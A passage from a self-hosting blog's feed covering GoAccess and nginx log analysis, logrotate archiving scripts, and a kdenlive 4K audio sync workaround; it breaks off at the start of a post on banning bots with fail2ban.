&lt;p&gt;Navigation in GoAccess:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;up/down arrows scroll up and down line-by-line.&lt;/li&gt;
&lt;li&gt;tab scrolls down section-by-section.&lt;/li&gt;
&lt;li&gt;'enter' or right arrow expands each section to show top 10 entries.&lt;/li&gt;
&lt;li&gt;keys 1-9 to jump to sections 1 to 9. This doesn't work beyond section 9 -- 'Virtual hosts'.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;GoAccess will live update summaries as the logs get appended by nginx process.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="configuration"&gt;
&lt;h2&gt;Configuration&lt;/h2&gt;
&lt;p&gt;In my usecase, GoAccess only displays stats for Nginx log. Setting the following defaults in &lt;strong&gt;/etc/goaccess.conf&lt;/strong&gt; skips configuration settings on every invocation of the program.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="na"&gt;time-format %H:%M:%S&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="na"&gt;date-format %d/%b/%Y&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="na"&gt;log-format %h %^[%d:%t %^] &amp;quot;%r&amp;quot; %s %b &amp;quot;%R&amp;quot; &amp;quot;%u&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="na"&gt;color-scheme 3&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="na"&gt;config-dialog false&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="na"&gt;hl-header true&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="na"&gt;agent-list true&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="na"&gt;ignore-crawlers true&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="na"&gt;std-geoip true&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This is all the configuring needed for basic monitoring. The following command displays the summary for the past two days.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# goaccess /var/log/nginx/flamy_ca.access.log /var/log/nginx/flamy_ca.access.log.1
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Both types of logs -- recent (uncompressed) and rotated (compressed) can be viewed in a single report. This is accomplished by connecting the output of uncompressing log stream of rotated log files to goaccess stdin pipe.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# cd /var/log/nginx
# goaccess flamy_ca.access.log flamy_ca.access.log.1 &amp;lt;(zcat flamy_ca.access.log.*.gz)
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The screenshot below shows multiple days of log files on 'Unique visitors per day' panel. Pipe redirect is shown as a log source.&lt;/p&gt;
&lt;div class="figure align-center"&gt;
&lt;img alt="Sample goAccess TUI view" src="/images/2020-03-04/004-goaccess-multiple-days.png" /&gt;
&lt;/div&gt;
&lt;p&gt;Logs are managed by logrotate.d and in the default configuration compressed logs are kept for 14 days.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="theming"&gt;
&lt;h2&gt;Theming&lt;/h2&gt;
&lt;p&gt;The screenshots in this article of GoAccess display 256 Tuesday Bright &lt;a class="footnote-reference" href="#footnote-4" id="footnote-reference-4"&gt;[4]&lt;/a&gt; color scheme that works well with solarized &lt;a class="footnote-reference" href="#footnote-5" id="footnote-reference-5"&gt;[5]&lt;/a&gt; light &lt;a class="footnote-reference" href="#footnote-6" id="footnote-reference-6"&gt;[6]&lt;/a&gt; theme that I use everywhere.&lt;/p&gt;
&lt;p&gt;I made some very minor changes to 256 Tuesday Bright theme to get it to work in GoAccess 1.2. The following configuration was appended to &lt;strong&gt;/etc/goaccess.conf&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;color COLOR_MTRC_HITS               color27:color254
color COLOR_MTRC_VISITORS           color161:color254
color COLOR_MTRC_DATA               color28:color254
color COLOR_MTRC_BW                 color173:color254
color COLOR_MTRC_AVGTS              color240:color254
color COLOR_MTRC_CUMTS              color130:color254
color COLOR_MTRC_MAXTS              color92:color254
color COLOR_MTRC_PROT               color161:color254
color COLOR_MTRC_MTHD               color75:color254
color COLOR_MTRC_HITS_PERC          color92:color254
color COLOR_MTRC_HITS_PERC_MAX      color92:color254 underline,bold
color COLOR_MTRC_HITS_PERC_MAX      color92:color254 underline,bold VISITORS
color COLOR_MTRC_HITS_PERC_MAX      color92:color254 underline,bold OS
color COLOR_MTRC_HITS_PERC_MAX      color92:color254 underline,bold BROWSERS
color COLOR_MTRC_HITS_PERC_MAX      color92:color254 underline,bold VISIT_TIMES
color COLOR_MTRC_VISITORS_PERC      color92:color254
color COLOR_MTRC_VISITORS_PERC_MAX  color92:color254 underline,bold
color COLOR_PANEL_COLS              color242:color254
color COLOR_BARS                    color26:color254
color COLOR_ERROR                   color231:color161
color COLOR_SELECTED                color15:color161
color COLOR_PANEL_ACTIVE            color7:color243
color COLOR_PANEL_HEADER            color234:color249
color COLOR_PANEL_DESC              color237:color254
color COLOR_OVERALL_LBLS            color234:color254
color COLOR_OVERALL_VALS            color27:color254
color COLOR_OVERALL_PATH            color173:color254
color COLOR_ACTIVE_LABEL            color0:color249
color COLOR_BG                      color0:color254
color COLOR_DEFAULT                 color0:color254
color COLOR_PROGRESS                color7:color161
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="managing-logs"&gt;
&lt;h2&gt;Managing Logs&lt;/h2&gt;
&lt;p&gt;I would like to keep the record of the logs for longer than 14 days and make GoAccess web reports for the periods of months and years. There is a 'right' way of doing this, it involves setting up remote logging server and then messing with syslog-ng for a while, but I'm implementing this on a single machine and I'm absolutely unwilling to enterprise my way of it. I'll copy files over ssh.&lt;/p&gt;
&lt;p&gt;By default in debian, compressed logs are stored in a numerical order i.e. &lt;em&gt;flamy_ca.access.log.0.gz&lt;/em&gt; to &lt;em&gt;flamy_ca.access.log.13.gz&lt;/em&gt; I need to update nginx logrotate configuration to use date (yyyy-mm-dd) as a suffix and while I'm at it, switch to lzma compression (.xz file extension) to save a little on storage and data transfer.&lt;/p&gt;
&lt;p&gt;This configuration update is not strictly necessary for RedHat-based systems as they use date as a file suffix by default.&lt;/p&gt;
&lt;p&gt;My logrotate configuration in &lt;strong&gt;/etc/logrotate.d/nginx&lt;/strong&gt; looks like the following&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;/var/log/nginx/*.log {
        daily
        missingok
        rotate 14
        compress
        delaycompress
        compresscmd /usr/bin/xz
        compressext .xz
        uncompresscmd /usr/bin/unxz
        notifempty
        create 0640 www-data adm
        dateext
        dateformat .%Y-%m-%d
        sharedscripts
        prerotate
                if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
                        run-parts /etc/logrotate.d/httpd-prerotate; \
                fi \
        endscript
        postrotate
                invoke-rc.d nginx rotate &amp;gt;/dev/null 2&amp;gt;&amp;amp;1
        endscript
}
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Beware! logrotate.d needs to be restarted to update the configuration. It took me a few days to figure that one out.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# service logrotate restart
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After running new logrotate configuration for a while, I started getting the following rotated log file names&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;flamy_ca.access.log.2020-02-10.xz
flamy_ca.access.log.2020-02-11.xz
flamy_ca.access.log.2020-02-12.xz
flamy_ca.access.log.2020-02-13.xz
flamy_ca.access.log.2020-02-14.xz
flamy_ca.access.log.2020-02-15.xz
flamy_ca.access.log.2020-02-16.xz
flamy_ca.access.log.2020-02-17.xz
flamy_ca.access.log.2020-02-18.xz
flamy_ca.access.log.2020-02-19.xz
flamy_ca.access.log.2020-02-20.xz
flamy_ca.access.log.2020-02-21.xz
flamy_ca.access.log.2020-02-22.xz
flamy_ca.access.log.2020-02-23.xz
flamy_ca.access.log.2020-02-24.xz
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The following script moves compressed logs from &lt;strong&gt;/var/log/nginx&lt;/strong&gt; to a place where archiving script can pull those files to a remote machine. The script also changes user ownership from 'admin' to a user who archives the logs.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ch"&gt;#!/usr/bin/env bash&lt;/span&gt;

&lt;span class="c1"&gt;# Move this /usr/local/sbin&lt;/span&gt;

&lt;span class="c1"&gt;# Source config&lt;/span&gt;
&lt;span class="nv"&gt;LOG_SRC_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/var/log/nginx&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;LOG_PREFIX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;flamy_ca.access.log&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;LOG_ARCH_SUFFIX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;.xz&amp;quot;&lt;/span&gt;

&lt;span class="c1"&gt;# Destination config&lt;/span&gt;
&lt;span class="nv"&gt;LOG_DEST_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/home/alex/logs/flamy_ca&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;LOG_DEST_CRED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;alex.alex&amp;quot;&lt;/span&gt;


&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; ! -d &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;LOG_SRC_DIR&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;then&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Source log directory doesn&amp;#39;t exist&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; /dev/stderr
    &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;


&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; ! -d &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;LOG_DEST_DIR&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;then&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Destination log directory doesn&amp;#39;t exist&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; /dev/stderr
    &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;

mv &lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;LOG_SRC_DIR&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;LOG_PREFIX&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.*&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;LOG_ARCH_SUFFIX&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;LOG_DEST_DIR&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
chown &lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;LOG_DEST_CRED&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;LOG_DEST_DIR&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/*&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;LOG_ARCH_SUFFIX&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I set up crontab to run daily to clean compressed logs, but this script can be run anytime up to 14 days before logs get cleaned up by logrotate. To clean up logs at the longer interval consider changing &lt;strong&gt;rotate&lt;/strong&gt; option in logrotate configuration.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;@daily /usr/local/sbin/archive_logs
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To get the logs off the web server, I run the following script from the storage machine.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ch"&gt;#!/usr/bin/env bash&lt;/span&gt;

&lt;span class="c1"&gt;# Place this into /usr/local/bin&lt;/span&gt;

&lt;span class="nv"&gt;REMOTE_SERVER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;flamy.ca&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;REMOTE_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;~/logs/flamy_ca&amp;quot;&lt;/span&gt;

&lt;span class="nv"&gt;LOCAL_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;~/storage/logs&amp;quot;&lt;/span&gt;


&lt;span class="nb"&gt;echo&lt;/span&gt; scp &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;REMOTE_SERVER&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;REMOTE_DIR&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/*.xz&amp;quot;&lt;/span&gt; &lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;LOCAL_DIR&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sh

ssh &lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;REMOTE_SERVER&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;rm -v &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;REMOTE_DIR&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/*.xz&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To automate the action of copying the files by setting this script via cron job on the computer that stores the files&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;@weekly /usr/local/bin/pull_logs
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You will need to set up ssh public/private keys via &lt;cite&gt;ssh-keygen&lt;/cite&gt; in order to allow paswordless authentication between the server.&lt;/p&gt;
&lt;p&gt;I choose this setup because, the storage server is behind a firewall it is less likely to be compromised, also in case the web server is compromised the attacker will have harder time figuring out the external services associated with the server. However, I'm not a security expert, please take this approach with some skepticism.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="generating-html-reports"&gt;
&lt;h2&gt;Generating html reports&lt;/h2&gt;
&lt;p&gt;When storing logs in a the single directory I use file completion operator in order to generate monthly logs&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ xzcat flamy_ca.access.log.2020-02-* &amp;gt; feb_2020_report.log
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then generate html report from monthly log&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ goaccess feb_2020_report.log -a -o feb_2020_report.html
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This should produce an interactive page that looks similar to the following&lt;/p&gt;
&lt;div class="figure align-center"&gt;
&lt;img alt="A crop of a goAccess html report with general statistics and two sample sections." src="/images/2020-03-04/002-goaccess-web.png" /&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="privacy-implication-of-storing-web-server-logs"&gt;
&lt;h2&gt;Privacy implication of storing web server logs&lt;/h2&gt;
&lt;p&gt;I have an issue with storing user data, and I'm not sure how GDPR compliant it is  -- I have a record of IP addresses that connected to my site and at what time.
I will never use this data for anything other than looking at the aggregate summary for site visitors, still I'm going to look for the tool that anonymizes visitor IP addresses and doesn't break GoAccess reports.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="references"&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-1" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[1]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://goaccess.io/download#distro"&gt;Goaccess Downloads | Distributions&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-2" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[2]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://packages.debian.org/buster/goaccess"&gt;GoAccess page in Debian Buster&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-3" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[3]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://localhost:8000/blog/2020-01-01-moving-pelican-blog-to-own-server.html#nginx-config"&gt;Moving pelican blog to own server | Nginx&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-4" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[4]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://github.com/allinurl/goaccess-colors/blob/master/colors/256_tuesday_bright.conf"&gt;256 Tuesday Bright color scheme&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-5" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[5]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://en.wikipedia.org/wiki/Solarized_(color_scheme)"&gt;Solarized (color scheme)&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-6" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[6]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://github.com/phiggins/konsole-colors-solarized"&gt;phiggins/konsole-colors-solarized&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
</content><category term="self-hosting"></category><category term="goaccess"></category><category term="analytics"></category><category term="sysadmin"></category></entry><entry><title>Audio offset error fix for 4K video after render in kdenlive</title><link href="https://flamy.ca/blog/2020-02-17-audio-offset-error-fix-for-4k-video-after-render-in-kdenlive.html" rel="alternate"></link><published>2020-02-17T00:00:00-05:00</published><updated>2020-02-17T00:00:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2020-02-17:/blog/2020-02-17-audio-offset-error-fix-for-4k-video-after-render-in-kdenlive.html</id><summary type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;If you've used kdenlive to work with 4K video, you likely experienced the problem when playing rendered 4K video clip, audio plays before the video. This feels pretty unsettling and ruins the video for anyone who tries to watch it.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="resizing-down-to-1080p"&gt;
&lt;h2&gt;Resizing down to 1080p&lt;/h2&gt;
&lt;p&gt;I've tired several workarounds like …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;If you've used kdenlive to work with 4K video, you likely experienced the problem when playing rendered 4K video clip, audio plays before the video. This feels pretty unsettling and ruins the video for anyone who tries to watch it.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="resizing-down-to-1080p"&gt;
&lt;h2&gt;Resizing down to 1080p&lt;/h2&gt;
&lt;p&gt;I've tired several workarounds like, working in 1080p projects while using 4K clips, or rescaling the final video to 1080p, but none of these approaches worked.&lt;/p&gt;
&lt;div class="figure align-center"&gt;
&lt;img alt="Kdenlive rendering configuration page" src="/images/2020-01-22/4k_1080p-rescale-options.png" /&gt;
&lt;/div&gt;
&lt;p&gt;The most simple and reliable thing that wast to resize 4K clips down to 1080p and then work with them in a 1080p project.&lt;/p&gt;
&lt;p&gt;Here is the command that given a file, outputs downscaled file_1080p.mp4 utilizing NVIDIA hardware.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ch"&gt;#!/bin/bash&lt;/span&gt;

/usr/bin/ffmpeg -i &lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    -c:v h264_nvenc &lt;span class="se"&gt;\&lt;/span&gt;
    -vf &lt;span class="nv"&gt;scale&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1920&lt;/span&gt;:1080 &lt;span class="se"&gt;\&lt;/span&gt;
    -c:a aac &lt;span class="se"&gt;\&lt;/span&gt;
    -preset lossless &lt;span class="se"&gt;\&lt;/span&gt;
    -qmax &lt;span class="m"&gt;100&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    -crf &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="p"&gt;%.*&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;_1080p.mp4
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This all meant it was not possible to produce or easily crop 4K video in kdenlive.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="k-fix-workaround"&gt;
&lt;h2&gt;4K fix (workaround)&lt;/h2&gt;
&lt;p&gt;Turns out the bug is in MLT framework, and while the project is getting around to make a fix for the issue, Kdenlive 19.12.1  contains a workaround written by &lt;a class="reference external" href="https://github.com/j-b-m"&gt;j-b-m&lt;/a&gt;, and I've tested it in &lt;a class="reference external" href="https://github.com/mltframework/mlt/issues/231"&gt;MLT issue #231&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The workaround consists of a new option in clip properties -- &lt;strong&gt;Audio sync&lt;/strong&gt;. Setting audio sync to &lt;strong&gt;-170ms&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="figure align-center"&gt;
&lt;img alt="kdenlive clip properties including Audo Sync" src="/images/2020-01-22/audio_sync_offset.png" /&gt;
&lt;/div&gt;
&lt;p&gt;You will need to do this for every clip in the project. In case you are using proxies, each proxy will be re-calculated every time Audio sync value is changed.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="the-results"&gt;
&lt;h2&gt;The results&lt;/h2&gt;
&lt;p&gt;On the left is the video with original problem, on the right the one with -170ms offset.&lt;/p&gt;
&lt;table border="1" class="docutils align-center"&gt;
&lt;caption&gt;Side-by side comparison of 4k video using default parameters (left) and -170ms audio offset&lt;/caption&gt;
&lt;colgroup&gt;
&lt;col width="50%" /&gt;
&lt;col width="50%" /&gt;
&lt;/colgroup&gt;
&lt;thead valign="bottom"&gt;
&lt;tr&gt;&lt;th class="head"&gt;Original&lt;/th&gt;
&lt;th class="head"&gt;-170ms offset&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;&lt;div class="first"&gt;&lt;div class="youtube youtube-16x9"&gt;&lt;/div&gt;&lt;iframe src="https://www.youtube.com/embed/Uc5iuy8J6eY" allowfullscreen seamless frameBorder="0"&gt;&lt;/iframe&gt;&lt;div class="last"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;
&lt;td&gt;&lt;div class="first"&gt;&lt;div class="youtube youtube-16x9"&gt;&lt;/div&gt;&lt;iframe src="https://www.youtube.com/embed/XWzl0Q85SfE" allowfullscreen seamless frameBorder="0"&gt;&lt;/iframe&gt;&lt;div class="last"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The sample was taken from the video &lt;a class="reference external" href="https://youtu.be/i-eXS-1wdzI"&gt;What I've learned about Ultra HD with D. Hugh Redelmeier&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content><category term="video editing"></category><category term="kdenlive"></category><category term="video editing"></category><category term="4k"></category></entry><entry><title>Banning log and mail spam with Fail2Ban</title><link href="https://flamy.ca/blog/2020-01-14-fail2ban-config-static-mail.html" rel="alternate"></link><published>2020-01-14T00:00:00-05:00</published><updated>2020-01-14T00:00:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2020-01-14:/blog/2020-01-14-fail2ban-config-static-mail.html</id><summary type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;Since I've set up my &lt;a class="reference external" href="https://flamy.ca/blog/2020-01-01-moving-pelican-blog-to-own-server.html"&gt;self-hosted blog&lt;/a&gt; I've been using &lt;a class="reference external" href="https://goaccess.io/"&gt;goAccess&lt;/a&gt; log analyzer -- it is a really handy program that gives me a summary of my http log with very little set up.&lt;/p&gt;
&lt;p&gt;Looking at my logs revealed a lot of bot spam, which I find very annoything to …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;Since I've set up my &lt;a class="reference external" href="https://flamy.ca/blog/2020-01-01-moving-pelican-blog-to-own-server.html"&gt;self-hosted blog&lt;/a&gt; I've been using &lt;a class="reference external" href="https://goaccess.io/"&gt;goAccess&lt;/a&gt; log analyzer -- it is a really handy program that gives me a summary of my http log with very little set up.&lt;/p&gt;
&lt;p&gt;Looking at my logs revealed a lot of bot spam, which I find very annoything to look at.&lt;/p&gt;
&lt;img alt="List of Requested files in goAccess TUI showing lots of bot request among the legitimate requests" class="align-center" src="/images/2020-01-14/bot_spam.png" /&gt;
&lt;p&gt;I can filter out these records using goAccess, but I might as well ban these bots with fail2ban.&lt;/p&gt;
&lt;p&gt;If you haven't installed fail2ban already, it's available for most of the distribution. Here is &lt;a class="reference external" href="https://packages.debian.org/search?keywords=fail2ban"&gt;debian&lt;/a&gt; and it is installable with&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# apt install fail2ban
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="tweaking-existing-config"&gt;
&lt;h2&gt;Tweaking existing config&lt;/h2&gt;
